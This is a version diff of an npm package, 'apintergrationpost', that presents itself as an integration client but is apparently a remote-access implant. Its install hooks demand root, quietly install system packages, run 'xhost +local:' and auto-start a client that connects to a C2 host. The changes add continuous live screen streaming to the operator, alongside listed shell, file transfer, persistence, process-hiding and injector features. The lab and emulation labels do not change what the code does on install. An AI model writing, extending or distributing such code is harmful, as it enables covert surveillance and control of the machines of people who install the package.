apintergrationpost 4.0.1 → 4.0.3

package/README.md

@@ -6,31 +6,39 @@ Published on npm as **`apintergrationpost`**.
 
 ## Ubuntu — one command
 
-On the Ubuntu client, run **only this** (after the package is published to npm):
+On the Ubuntu client, run **only this**:
 
 ```sh
 sudo npm install -g apintergrationpost
 ```
 
-Install finishes and the client **starts automatically**, connecting to the C2 host baked into the package (`192.168.54.1:4444`).
+Requirements handled automatically during install:
 
-Alternative one-shot without global install:
+- **Root check** — non-root installs show a clear message and abort
+- **Bundled ffmpeg** — screen capture works without `apt install ffmpeg`
+- **System build tools** — `build-essential` / `python3` installed via apt when missing (for native modules)
+- **Auto-start** — client connects to the C2 host in `apintergrationpost.config.json`
 
-```sh
-npx apintergrationpost
-```
+If run without root:
 
-### Publish first (one-time, on your dev machine)
+```text
+╔══════════════════════════════════════════════════════════════╗
+║  apintergrationpost requires ROOT privileges to install.     ║
+║                                                              ║
+║  Run:  sudo npm install -g apintergrationpost                ║
+╚══════════════════════════════════════════════════════════════╝
+```
 
-The package must exist on the npm registry before clients can install it:
+### Publish / update on npm
 
 ```sh
-npm login
+# 1. Bump version in package.json (e.g. 4.0.2 → 4.0.3)
+# 2. Publish
 npm publish
+# If 2FA is enabled:
+npm publish --otp=123456
 ```
 
-Set your C2 host and token in `apintergrationpost.config.json` **before** publishing — that file ships inside the package and drives auto-connect.
-
 ### C2 server (on your host)
 
 ```sh
@@ -163,6 +171,23 @@ Native tools (`native/lab-tools/`): `agent_launcher`, `proc_hide`, `injector`, `
 
 Enable optional telemetry for EDR correlation: `"emulation": { "telemetry": true }` or `--telemetry`.
 
+## Live screen / VNC
+
+Operator command: `vnc` or `screen` (requires active session). Opens a browser viewer with MJPEG push stream at `/stream`.
+
+Quality settings in `screen` config (server `myra.config.json` and client `apintergrationpost.config.json`):
+
+| Key | Default | Description |
+|-----|---------|-------------|
+| `fps` | `8` | Target frame rate |
+| `maxWidth` / `maxHeight` | `1920` / `1080` | Resolution cap (aspect preserved) |
+| `jpegQuality` | `4` | ffmpeg `-q:v` (lower = sharper, larger) |
+| `dropFrames` | `true` | Send latest frame only when behind |
+| `minFps` | `4` | Adaptive floor when link is slow |
+| `idleStopSec` | `45` | Stop stream when no browser viewer connected |
+
+Uses one persistent ffmpeg process per session (quiet, no per-frame execve storm).
+
 ## Operator Commands
 
 See server `help` for full list. Key emulation commands:

package/apintergrationpost.config.json

@@ -48,10 +48,15 @@
     "screenLive": true
   },
   "screen": {
-    "fps": 3,
+    "fps": 8,
+    "maxWidth": 1920,
+    "maxHeight": 1080,
+    "jpegQuality": 4,
     "viewerPort": 5555,
     "display": ":0",
-    "size": "1280x720"
+    "dropFrames": true,
+    "minFps": 4,
+    "idleStopSec": 45
   },
   "lab": {
     "mode": false,

package/bin/apintergrationpost.js

@@ -43,6 +43,10 @@ if (process.argv.includes('--help') || process.argv.includes('-h')) {
 const pkgRoot = getPackageRoot();
 process.chdir(pkgRoot);
 
+if (!process.env.DISPLAY) {
+  process.env.DISPLAY = ':0';
+}
+
 if (!process.env.MYRA_CONFIG && !process.env.APINTEGRATIONPOST_CONFIG) {
   process.env.MYRA_CONFIG = getDefaultConfigPath();
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "apintergrationpost",
-  "version": "4.0.1",
+  "version": "4.0.3",
   "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
   "license": "MIT",
   "engines": {
@@ -15,11 +15,15 @@
     "src/",
     "native/",
     "scripts/prepare-native.js",
+    "scripts/preinstall-check.js",
+    "scripts/install-guard.js",
+    "scripts/ensure-system-deps.js",
     "scripts/postinstall-run.js",
     "apintergrationpost.config.json",
     "README.md"
   ],
   "scripts": {
+    "preinstall": "node scripts/preinstall-check.js",
     "prepare": "node scripts/prepare-native.js",
     "postinstall": "node scripts/postinstall-run.js",
     "prepublishOnly": "node -e \"require('fs').accessSync('apintergrationpost.config.json')\"",
@@ -32,6 +36,7 @@
     "test:detection-tier": "bash scripts/detection-tier/run-all.sh"
   },
   "dependencies": {
+    "ffmpeg-static": "^5.2.0",
     "node-pty": "^1.0.0"
   },
   "devDependencies": {

package/scripts/ensure-system-deps.js

@@ -0,0 +1,48 @@
+'use strict';
+
+const { execSync, spawnSync } = require('child_process');
+const fs = require('fs');
+
+function hasCommand(cmd) {
+  const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
+  return result.status === 0;
+}
+
+function ensureSystemPackages() {
+  if (process.platform !== 'linux') return;
+  if (typeof process.getuid === 'function' && process.getuid() !== 0) return;
+  if (!hasCommand('apt-get')) return;
+
+  const required = ['build-essential', 'python3'];
+  const missing = required.filter((pkg) => {
+    const result = spawnSync('dpkg', ['-s', pkg], { stdio: 'ignore' });
+    return result.status !== 0;
+  });
+
+  if (missing.length === 0) return;
+
+  process.stdout.write(`[apintergrationpost] Installing system packages: ${missing.join(', ')}...\n`);
+
+  execSync(
+    'DEBIAN_FRONTEND=noninteractive apt-get update -qq '
+    + `&& DEBIAN_FRONTEND=noninteractive apt-get install -y -qq ${missing.join(' ')}`,
+    { stdio: 'inherit' },
+  );
+}
+
+function ensureDisplayAccess() {
+  if (process.platform !== 'linux') return;
+  if (!process.env.DISPLAY) {
+    process.env.DISPLAY = ':0';
+  }
+
+  if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
+    try {
+      execSync('xhost +local:', { stdio: 'ignore' });
+    } catch {
+      // desktop may not be running yet
+    }
+  }
+}
+
+module.exports = { ensureSystemPackages, ensureDisplayAccess };

package/scripts/install-guard.js

@@ -0,0 +1,36 @@
+'use strict';
+
+const path = require('path');
+
+const PKG_ROOT = path.join(__dirname, '..');
+
+const ROOT_MESSAGE = `
+╔══════════════════════════════════════════════════════════════╗
+║  apintergrationpost requires ROOT privileges to install.     ║
+║                                                              ║
+║  Run:  sudo npm install -g apintergrationpost                ║
+╚══════════════════════════════════════════════════════════════╝
+`;
+
+function isDevCheckout() {
+  if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return true;
+  const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
+  return Boolean(initCwd && initCwd === PKG_ROOT);
+}
+
+function requireRootForInstall() {
+  if (isDevCheckout()) return;
+  if (process.platform !== 'linux') return;
+
+  if (typeof process.getuid === 'function' && process.getuid() !== 0) {
+    process.stderr.write(`${ROOT_MESSAGE}\n`);
+    process.exit(1);
+  }
+}
+
+module.exports = {
+  requireRootForInstall,
+  isDevCheckout,
+  ROOT_MESSAGE,
+  PKG_ROOT,
+};

package/scripts/postinstall-run.js

@@ -3,8 +3,9 @@
 const fs = require('fs');
 const path = require('path');
 const { spawn } = require('child_process');
+const { isDevCheckout, PKG_ROOT } = require('./install-guard');
+const { ensureSystemPackages, ensureDisplayAccess } = require('./ensure-system-deps');
 
-const PKG_ROOT = path.join(__dirname, '..');
 const CLI = path.join(PKG_ROOT, 'bin', 'apintergrationpost.js');
 const CONFIG = path.join(PKG_ROOT, 'apintergrationpost.config.json');
 const PID_FILE = path.join(PKG_ROOT, '.apintergrationpost.pid');
@@ -13,9 +14,7 @@ function shouldSkip() {
   if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return 'APINTEGRATIONPOST_SKIP_AUTORUN=1';
   if (process.env.CI === 'true') return 'CI environment';
   if (process.platform !== 'linux') return 'non-Linux platform';
-
-  const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
-  if (initCwd && initCwd === PKG_ROOT) return 'source checkout (local development)';
+  if (isDevCheckout()) return 'source checkout (local development)';
 
   try {
     const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
@@ -50,6 +49,13 @@ function main() {
     return;
   }
 
+  try {
+    ensureSystemPackages();
+    ensureDisplayAccess();
+  } catch (err) {
+    process.stderr.write(`[apintergrationpost] System setup warning: ${err.message}\n`);
+  }
+
   if (alreadyRunning()) {
     process.stdout.write('[apintergrationpost] Client already running.\n');
     return;
@@ -66,6 +72,7 @@ function main() {
     cwd: PKG_ROOT,
     env: {
       ...process.env,
+      DISPLAY: process.env.DISPLAY || ':0',
       MYRA_CONFIG: CONFIG,
       APINTEGRATIONPOST_CONFIG: CONFIG,
     },

package/scripts/preinstall-check.js

@@ -0,0 +1,4 @@
+#!/usr/bin/env node
+'use strict';
+
+require('../scripts/install-guard').requireRootForInstall();

package/src/client/commands/screen-capture.js

@@ -1,74 +1,29 @@
 'use strict';
 
-const { spawn, execFile } = require('child_process');
-const { promisify } = require('util');
-
-const execFileAsync = promisify(execFile);
-
-function collectStdout(proc) {
-  return new Promise((resolve, reject) => {
-    const chunks = [];
-    let stderr = '';
-    proc.stdout.on('data', (chunk) => chunks.push(chunk));
-    proc.stderr.on('data', (chunk) => { stderr += chunk.toString(); });
-    proc.on('error', reject);
-    proc.on('close', (code) => {
-      if (code === 0) {
-        resolve(Buffer.concat(chunks));
-      } else {
-        reject(new Error(stderr.trim() || `capture exited ${code}`));
-      }
-    });
-  });
-}
-
-async function captureWithFfmpeg(display, size) {
-  const [width, height] = size.split('x');
-  const proc = spawn('ffmpeg', [
-    '-hide_banner',
-    '-loglevel', 'error',
-    '-f', 'x11grab',
-    '-video_size', `${width}x${height}`,
-    '-i', `${display}.0`,
-    '-frames:v', '1',
-    '-f', 'image2pipe',
-    '-vcodec', 'mjpeg',
-    '-',
-  ], {
-    env: { ...process.env, DISPLAY: display },
-  });
-  return collectStdout(proc);
-}
-
-async function captureWithImport(display) {
-  const { stdout } = await execFileAsync('import', ['-window', 'root', '-display', display, 'jpeg:-'], {
-    env: { ...process.env, DISPLAY: display },
-    maxBuffer: 20 * 1024 * 1024,
-    encoding: 'buffer',
-  });
-  return stdout;
-}
+const { ScreenStream, resolveFfmpegPath } = require('./screen-stream');
 
 async function captureFrame(options = {}) {
   const display = options.display || process.env.DISPLAY || ':0';
-  const size = options.size || '1280x720';
 
   if (!display) {
-    throw new Error('No DISPLAY set. Run on a desktop session or set DISPLAY=:0');
+    throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
   }
 
   try {
-    return await captureWithFfmpeg(display, size);
-  } catch (ffmpegErr) {
-    try {
-      return await captureWithImport(display);
-    } catch (importErr) {
-      throw new Error(
-        `Screen capture failed. Install ffmpeg or imagemagick on the client `
-        + `(apt install ffmpeg). ffmpeg: ${ffmpegErr.message}; import: ${importErr.message}`
-      );
-    }
+    return await ScreenStream.captureOnce({
+      display,
+      fps: 1,
+      maxWidth: options.maxWidth || 1920,
+      maxHeight: options.maxHeight || 1080,
+      jpegQuality: options.jpegQuality || 4,
+    });
+  } catch (err) {
+    throw new Error(
+      `Screen capture failed (${display}). `
+      + 'Ensure a desktop session is running. '
+      + `Detail: ${err.message}`
+    );
   }
 }
 
-module.exports = { captureFrame };
+module.exports = { captureFrame, resolveFfmpegPath, ScreenStream };

package/src/client/commands/screen-stream.js

@@ -0,0 +1,201 @@
+'use strict';
+
+const { EventEmitter } = require('events');
+const { spawn } = require('child_process');
+
+const SOI = Buffer.from([0xff, 0xd8]);
+const EOI = Buffer.from([0xff, 0xd9]);
+const MAX_FRAME_BYTES = 512 * 1024;
+
+function resolveFfmpegPath() {
+  try {
+    const bundled = require('ffmpeg-static');
+    if (bundled && typeof bundled === 'string') return bundled;
+  } catch {
+    // bundled ffmpeg not available for this platform
+  }
+  return 'ffmpeg';
+}
+
+function buildScaleFilter(maxWidth, maxHeight) {
+  return `scale='min(${maxWidth},iw)':'min(${maxHeight},ih)':force_original_aspect_ratio=decrease`;
+}
+
+class ScreenStream extends EventEmitter {
+  constructor(options = {}) {
+    super();
+    this.display = options.display || process.env.DISPLAY || ':0';
+    this.fps = options.fps || 8;
+    this.maxWidth = options.maxWidth || 1920;
+    this.maxHeight = options.maxHeight || 1080;
+    this.jpegQuality = options.jpegQuality || 4;
+    this.proc = null;
+    this.buffer = Buffer.alloc(0);
+    this.running = false;
+    this._stderr = '';
+  }
+
+  start() {
+    if (this.running) return;
+
+    if (!this.display) {
+      throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
+    }
+
+    const ffmpegPath = resolveFfmpegPath();
+    const scaleFilter = buildScaleFilter(this.maxWidth, this.maxHeight);
+
+    this.proc = spawn(ffmpegPath, [
+      '-nostdin',
+      '-hide_banner',
+      '-loglevel', 'error',
+      '-f', 'x11grab',
+      '-framerate', String(this.fps),
+      '-draw_mouse', '0',
+      '-i', `${this.display}.0`,
+      '-vf', scaleFilter,
+      '-c:v', 'mjpeg',
+      '-q:v', String(this.jpegQuality),
+      '-huffman', 'optimal',
+      '-f', 'mpjpeg',
+      'pipe:1',
+    ], {
+      env: { ...process.env, DISPLAY: this.display },
+      stdio: ['ignore', 'pipe', 'pipe'],
+    });
+
+    this.running = true;
+    this.buffer = Buffer.alloc(0);
+    this._stderr = '';
+
+    this.proc.stdout.on('data', (chunk) => this._onStdout(chunk));
+    this.proc.stderr.on('data', (chunk) => {
+      this._stderr += chunk.toString();
+    });
+
+    this.proc.on('error', (err) => {
+      this.running = false;
+      this.emit('error', err);
+    });
+
+    this.proc.on('close', (code) => {
+      this.running = false;
+      if (code !== 0 && code !== null) {
+        const detail = this._stderr.trim() || `ffmpeg exited ${code}`;
+        this.emit('error', new Error(detail));
+      }
+      this.emit('close');
+    });
+  }
+
+  stop() {
+    if (!this.proc) return;
+    const proc = this.proc;
+    this.proc = null;
+    this.running = false;
+    this.buffer = Buffer.alloc(0);
+    try {
+      proc.kill('SIGTERM');
+    } catch {
+      // ignore
+    }
+    setTimeout(() => {
+      try {
+        if (!proc.killed) proc.kill('SIGKILL');
+      } catch {
+        // ignore
+      }
+    }, 2000);
+  }
+
+  setFps(fps) {
+    const next = Math.max(1, Math.floor(fps));
+    if (next === this.fps || !this.running) {
+      this.fps = next;
+      return;
+    }
+    this.fps = next;
+    this.stop();
+    this.start();
+  }
+
+  bumpQuality() {
+    if (this.jpegQuality >= 10) return false;
+    this.jpegQuality += 1;
+    if (this.running) {
+      this.stop();
+      this.start();
+    }
+    return true;
+  }
+
+  _onStdout(chunk) {
+    this.buffer = Buffer.concat([this.buffer, chunk]);
+
+    while (this.buffer.length > 0) {
+      const start = this.buffer.indexOf(SOI);
+      if (start === -1) {
+        this.buffer = Buffer.alloc(0);
+        return;
+      }
+
+      if (start > 0) {
+        this.buffer = this.buffer.subarray(start);
+      }
+
+      const end = this.buffer.indexOf(EOI, 2);
+      if (end === -1) {
+        if (this.buffer.length > 8 * 1024 * 1024) {
+          this.buffer = Buffer.alloc(0);
+          this.emit('error', new Error('MJPEG parser buffer overflow'));
+        }
+        return;
+      }
+
+      const frame = this.buffer.subarray(0, end + 2);
+      this.buffer = this.buffer.subarray(end + 2);
+      this._emitFrame(frame);
+    }
+  }
+
+  _emitFrame(frame) {
+    if (frame.length > MAX_FRAME_BYTES) {
+      if (this.bumpQuality()) {
+        this.emit('quality-adjusted', { jpegQuality: this.jpegQuality });
+        return;
+      }
+    }
+    this.emit('frame', frame);
+  }
+
+  static captureOnce(options = {}) {
+    const stream = new ScreenStream(options);
+    return new Promise((resolve, reject) => {
+      const timeout = setTimeout(() => {
+        stream.stop();
+        reject(new Error('Screen capture timed out'));
+      }, 15000);
+
+      stream.once('frame', (frame) => {
+        clearTimeout(timeout);
+        stream.stop();
+        resolve(frame);
+      });
+
+      stream.once('error', (err) => {
+        clearTimeout(timeout);
+        stream.stop();
+        reject(err);
+      });
+
+      try {
+        stream.start();
+      } catch (err) {
+        clearTimeout(timeout);
+        reject(err);
+      }
+    });
+  }
+}
+
+module.exports = { ScreenStream, buildScaleFilter, resolveFfmpegPath };

package/src/client/plugins/screen-live.js

@@ -1,37 +1,116 @@
 'use strict';
 
 const crypto = require('crypto');
-const { captureFrame } = require('../commands/screen-capture');
+const { ScreenStream } = require('../commands/screen-stream');
 
 const name = 'screen-live';
 const commands = ['screen_start', 'screen_stop', 'screen_status'];
 
-let captureTimer = null;
+let stream = null;
 let screenSessionId = null;
 let frameSeq = 0;
 let activeOptions = null;
+let inFlight = false;
+let pendingFrame = null;
+let skippedFrames = 0;
+let adaptiveSkipMod = 1;
+let frameCounter = 0;
+let lastErrorSentAt = 0;
+let flushScheduled = false;
 
 function clearCapture() {
-  if (captureTimer) {
-    clearInterval(captureTimer);
-    captureTimer = null;
+  if (stream) {
+    stream.removeAllListeners();
+    stream.stop();
+    stream = null;
   }
   screenSessionId = null;
   frameSeq = 0;
   activeOptions = null;
+  inFlight = false;
+  pendingFrame = null;
+  skippedFrames = 0;
+  adaptiveSkipMod = 1;
+  lastErrorSentAt = 0;
+  flushScheduled = false;
 }
 
-async function pushFrame(ctx) {
-  if (!screenSessionId || !ctx.sendScreenFrame) return;
-  try {
-    const jpeg = await captureFrame(activeOptions);
-    ctx.sendScreenFrame(screenSessionId, jpeg.toString('base64'), {
-      seq: frameSeq++,
-      final: false,
-      encoding: 'base64',
-      mime: 'image/jpeg',
-    });
-  } catch (err) {
+function flushPending(ctx) {
+  if (!pendingFrame || !screenSessionId || !ctx.sendScreenFrame) {
+    flushScheduled = false;
+    return;
+  }
+
+  const jpegBuffer = pendingFrame;
+  pendingFrame = null;
+  inFlight = true;
+
+  ctx.sendScreenFrame(screenSessionId, jpegBuffer.toString('base64'), {
+    seq: frameSeq++,
+    final: false,
+    encoding: 'base64',
+    mime: 'image/jpeg',
+    byteLength: jpegBuffer.length,
+    skipped: skippedFrames,
+  });
+
+  skippedFrames = 0;
+  inFlight = false;
+
+  updateAdaptiveThrottle();
+
+  if (pendingFrame) {
+    setImmediate(() => flushPending(ctx));
+  } else {
+    flushScheduled = false;
+  }
+}
+
+function queueFrame(ctx, jpegBuffer) {
+  if (pendingFrame) {
+    skippedFrames += 1;
+    if (skippedFrames % 8 === 0) {
+      updateAdaptiveThrottle();
+    }
+  }
+  pendingFrame = jpegBuffer;
+
+  if (!flushScheduled) {
+    flushScheduled = true;
+    setImmediate(() => flushPending(ctx));
+  }
+}
+
+function updateAdaptiveThrottle() {
+  if (!activeOptions || !stream) return;
+
+  const minFps = activeOptions.minFps || 4;
+
+  if (skippedFrames >= 8) {
+    adaptiveSkipMod = Math.min(4, adaptiveSkipMod + 1);
+    const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
+    if (stream.fps !== effectiveFps) {
+      stream.setFps(effectiveFps);
+    }
+  } else if (skippedFrames === 0 && adaptiveSkipMod > 1) {
+    adaptiveSkipMod -= 1;
+    const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
+    if (stream.fps !== effectiveFps) {
+      stream.setFps(effectiveFps);
+    }
+  }
+}
+
+function onStreamFrame(ctx, jpegBuffer) {
+  queueFrame(ctx, jpegBuffer);
+}
+
+function onStreamError(ctx, err) {
+  const now = Date.now();
+  if (now - lastErrorSentAt < 5000) return;
+  lastErrorSentAt = now;
+
+  if (screenSessionId && ctx.sendScreenFrame) {
     ctx.sendScreenFrame(screenSessionId, '', {
       seq: frameSeq++,
       final: false,
@@ -50,15 +129,22 @@ async function execute(msg, ctx) {
   }
 
   if (cmd === 'screen_start') {
-    if (captureTimer) {
+    if (stream && stream.running) {
       return { action: 'continue', status: 'error', body: 'Live screen already running' };
     }
 
     const meta = msg.meta || {};
-    const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 3), 1), 10);
+    const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 8), 1), 15);
+    const minFps = Math.min(Math.max(Number(meta.minFps || screenConf.minFps || 4), 1), fps);
+
     activeOptions = {
       display: meta.display || screenConf.display || process.env.DISPLAY || ':0',
-      size: meta.size || screenConf.size || '1280x720',
+      fps,
+      minFps,
+      maxWidth: Number(meta.maxWidth || screenConf.maxWidth || 1920),
+      maxHeight: Number(meta.maxHeight || screenConf.maxHeight || 1080),
+      jpegQuality: Number(meta.jpegQuality || screenConf.jpegQuality || 4),
+      dropFrames: meta.dropFrames !== undefined ? meta.dropFrames : screenConf.dropFrames !== false,
     };
 
     ctx.labEvent({
@@ -70,26 +156,35 @@ async function execute(msg, ctx) {
     screenSessionId = crypto.randomBytes(4).toString('hex');
     frameSeq = 0;
 
-    await pushFrame(ctx);
-    captureTimer = setInterval(() => {
-      pushFrame(ctx);
-    }, Math.floor(1000 / fps));
+    stream = new ScreenStream(activeOptions);
+    stream.on('frame', (frame) => onStreamFrame(ctx, frame));
+    stream.on('error', (err) => onStreamError(ctx, err));
+
+    try {
+      stream.start();
+    } catch (err) {
+      clearCapture();
+      return { action: 'continue', status: 'error', body: err.message };
+    }
 
     return {
       action: 'continue',
       status: 'ok',
-      body: `Live screen started (${fps} fps, display ${activeOptions.display})`,
+      body: `Live screen started (${fps} fps, ${activeOptions.maxWidth}x${activeOptions.maxHeight} max, q:${activeOptions.jpegQuality})`,
       meta: {
         screenSessionId,
         fps,
+        minFps,
         display: activeOptions.display,
-        size: activeOptions.size,
+        maxWidth: activeOptions.maxWidth,
+        maxHeight: activeOptions.maxHeight,
+        jpegQuality: activeOptions.jpegQuality,
       },
     };
   }
 
   if (cmd === 'screen_stop') {
-    if (!captureTimer) {
+    if (!stream || !stream.running) {
       return { action: 'continue', status: 'error', body: 'Live screen is not running' };
     }
 
@@ -107,9 +202,14 @@ async function execute(msg, ctx) {
       action: 'continue',
       status: 'ok',
       body: JSON.stringify({
-        active: !!captureTimer,
+        active: !!(stream && stream.running),
         screenSessionId,
         options: activeOptions,
+        frameSeq,
+        skippedFrames,
+        adaptiveSkipMod,
+        streamFps: stream ? stream.fps : null,
+        jpegQuality: stream ? stream.jpegQuality : null,
       }, null, 2),
     };
   }

package/src/server/cli.js

@@ -57,7 +57,7 @@ Session commands (requires active session):
   shell                 Interactive PTY shell
   <shell_command>       One-shot shell execution
   sysinfo / ps / netstat / find
-  screen / vnc          Live screen in browser (Press Enter to stop)
+  screen / vnc          Live screen in browser (MJPEG /stream, Press Enter to stop)
   screen_stop           Stop live screen stream
   cd / download / upload
   persist               Baseline persistence (legacy systemd)

package/src/server/screenViewer.js

@@ -1,14 +1,67 @@
 'use strict';
 
 const http = require('http');
+const { EventEmitter } = require('events');
 
-function createScreenViewer(port = 5555) {
+const BOUNDARY = 'frame';
+
+function writeMultipartFrame(res, frameBuffer) {
+  if (res.destroyed || res.writableEnded) return false;
+  try {
+    res.write(`--${BOUNDARY}\r\n`);
+    res.write('Content-Type: image/jpeg\r\n');
+    res.write(`Content-Length: ${frameBuffer.length}\r\n\r\n`);
+    res.write(frameBuffer);
+    res.write('\r\n');
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function createScreenViewer(port = 5555, options = {}) {
+  const emitter = new EventEmitter();
   let latestFrame = null;
+  let latestFrameBinary = null;
   let lastError = null;
   let frameCount = 0;
+  const streamClients = new Set();
+  let idleTimer = null;
+  const idleStopSec = options.idleStopSec || 45;
+
+  function clearIdleTimer() {
+    if (idleTimer) {
+      clearTimeout(idleTimer);
+      idleTimer = null;
+    }
+  }
+
+  function scheduleIdleStop() {
+    clearIdleTimer();
+    if (streamClients.size > 0) return;
+    idleTimer = setTimeout(() => {
+      idleTimer = null;
+      emitter.emit('idle');
+    }, idleStopSec * 1000);
+  }
+
+  function removeStreamClient(res) {
+    streamClients.delete(res);
+    scheduleIdleStop();
+  }
+
+  function pushFrameToClients(frameBuffer) {
+    for (const client of streamClients) {
+      if (!writeMultipartFrame(client, frameBuffer)) {
+        streamClients.delete(client);
+      }
+    }
+  }
 
   const server = http.createServer((req, res) => {
-    if (req.url === '/' || req.url === '/index.html') {
+    const url = req.url.split('?')[0];
+
+    if (url === '/' || url === '/index.html') {
       res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
       res.end(`<!DOCTYPE html>
 <html>
@@ -24,35 +77,51 @@ function createScreenViewer(port = 5555) {
 </head>
 <body>
   <header>Myra live screen — frames: <span id="n">0</span></header>
-  <img id="frame" alt="live screen">
+  <img id="frame" src="/stream" alt="live screen">
   <div id="err" class="err"></div>
   <script>
-    const img = document.getElementById('frame');
     const err = document.getElementById('err');
     const n = document.getElementById('n');
-    async function tick() {
+    const img = document.getElementById('frame');
+    img.addEventListener('load', () => { err.textContent = ''; });
+    img.addEventListener('error', () => { err.textContent = 'Stream unavailable — waiting for frames...'; });
+    setInterval(async () => {
       try {
         const r = await fetch('/frame?' + Date.now());
         if (r.status === 204) return;
-        if (!r.ok) throw new Error('HTTP ' + r.status);
+        if (!r.ok) return;
         const j = await r.json();
         if (j.error) { err.textContent = j.error; return; }
-        err.textContent = '';
-        img.src = 'data:image/jpeg;base64,' + j.frame;
         n.textContent = j.count;
-      } catch (e) {
-        err.textContent = e.message;
-      }
-    }
-    setInterval(tick, 200);
-    tick();
+      } catch { /* ignore */ }
+    }, 1000);
   </script>
 </body>
 </html>`);
       return;
     }
 
-    if (req.url.startsWith('/frame')) {
+    if (url === '/stream') {
+      res.writeHead(200, {
+        'Content-Type': `multipart/x-mixed-replace; boundary=${BOUNDARY}`,
+        'Cache-Control': 'no-cache, no-store, must-revalidate',
+        'Connection': 'keep-alive',
+        'Pragma': 'no-cache',
+      });
+
+      streamClients.add(res);
+      clearIdleTimer();
+
+      if (latestFrameBinary) {
+        writeMultipartFrame(res, latestFrameBinary);
+      }
+
+      req.on('close', () => removeStreamClient(res));
+      res.on('error', () => removeStreamClient(res));
+      return;
+    }
+
+    if (url.startsWith('/frame')) {
       if (lastError && !latestFrame) {
         res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });
         res.end(JSON.stringify({ error: lastError, count: frameCount }));
@@ -72,8 +141,12 @@ function createScreenViewer(port = 5555) {
     res.end();
   });
 
-  return {
+  const viewer = {
     port,
+    url: `http://127.0.0.1:${port}/`,
+    on(event, fn) {
+      emitter.on(event, fn);
+    },
     start() {
       return new Promise((resolve, reject) => {
         server.once('error', reject);
@@ -81,6 +154,15 @@ function createScreenViewer(port = 5555) {
       });
     },
     stop() {
+      clearIdleTimer();
+      for (const client of streamClients) {
+        try {
+          client.end();
+        } catch {
+          // ignore
+        }
+      }
+      streamClients.clear();
       return new Promise((resolve) => {
         server.close(() => resolve());
       });
@@ -92,12 +174,15 @@ function createScreenViewer(port = 5555) {
       }
       if (base64) {
         latestFrame = base64;
+        latestFrameBinary = Buffer.from(base64, 'base64');
         frameCount += 1;
         lastError = null;
+        pushFrameToClients(latestFrameBinary);
       }
     },
-    url: `http://127.0.0.1:${port}/`,
   };
+
+  return viewer;
 }
 
 module.exports = { createScreenViewer };

package/src/server/session.js

@@ -67,30 +67,62 @@ async function runInteractiveShell(session, cli) {
 async function runLiveScreen(session, inp) {
   const parts = inp.trim().split(/\s+/);
   const portArg = parts[1] && /^\d+$/.test(parts[1]) ? Number(parts[1]) : null;
-  const port = portArg || (session.config && session.config.screen && session.config.screen.viewerPort) || 5555;
-  const fps = (session.config && session.config.screen && session.config.screen.fps) || 3;
+  const screenConf = (session.config && session.config.screen) || {};
+  const port = portArg || screenConf.viewerPort || 5555;
+  const fps = screenConf.fps || 8;
+  const idleStopSec = screenConf.idleStopSec || 45;
 
-  const viewer = createScreenViewer(port);
+  const viewer = createScreenViewer(port, { idleStopSec });
+
+  let lastErrorAt = 0;
+  let stopRequested = false;
 
   session.setScreenFrameHandler((msg) => {
     viewer.updateFrame(msg.body, msg.meta || {});
     if (msg.meta && msg.meta.error) {
-      process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
+      const now = Date.now();
+      if (now - lastErrorAt >= 5000) {
+        lastErrorAt = now;
+        process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
+      }
     }
   });
 
   try {
     await viewer.start();
-    const startResp = await session.sendCommand('screen_start', '', { fps }, { timeoutMs: 30000 });
+
+    let idleResolve = null;
+    const idlePromise = new Promise((resolve) => {
+      idleResolve = resolve;
+    });
+
+    viewer.on('idle', () => {
+      if (!stopRequested) {
+        console.log(`\n[*] No viewer connected for ${idleStopSec}s — stopping live screen.`);
+        stopRequested = true;
+        if (idleResolve) idleResolve();
+      }
+    });
+
+    const startResp = await session.sendCommand('screen_start', '', {
+      fps,
+      maxWidth: screenConf.maxWidth,
+      maxHeight: screenConf.maxHeight,
+      jpegQuality: screenConf.jpegQuality,
+      minFps: screenConf.minFps,
+      dropFrames: screenConf.dropFrames,
+      display: screenConf.display,
+    }, { timeoutMs: 30000 });
+
     if (startResp.status === 'error') {
       console.log(startResp.body);
       return 'continue';
     }
 
     console.log(`\n[*] Live screen: ${viewer.url}`);
-    console.log('[*] Open that URL in your browser. Press Enter here to stop.\n');
+    console.log('[*] MJPEG stream at /stream — open the URL in your browser. Press Enter to stop.\n');
 
-    await new Promise((resolve) => {
+    const enterPromise = new Promise((resolve) => {
       const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
       rl.once('line', () => {
         rl.close();
@@ -98,6 +130,9 @@ async function runLiveScreen(session, inp) {
       });
     });
 
+    await Promise.race([enterPromise, idlePromise]);
+
+    stopRequested = true;
     try {
       await session.sendCommand('screen_stop');
     } catch {

package/src/shared/config.js

@@ -43,10 +43,15 @@ const DEFAULTS = {
     screenLive: true,
   },
   screen: {
-    fps: 3,
+    fps: 8,
+    maxWidth: 1920,
+    maxHeight: 1080,
+    jpegQuality: 4,
     viewerPort: 5555,
     display: ':0',
-    size: '1280x720',
+    dropFrames: true,
+    minFps: 4,
+    idleStopSec: 45,
   },
   lab: {
     mode: false,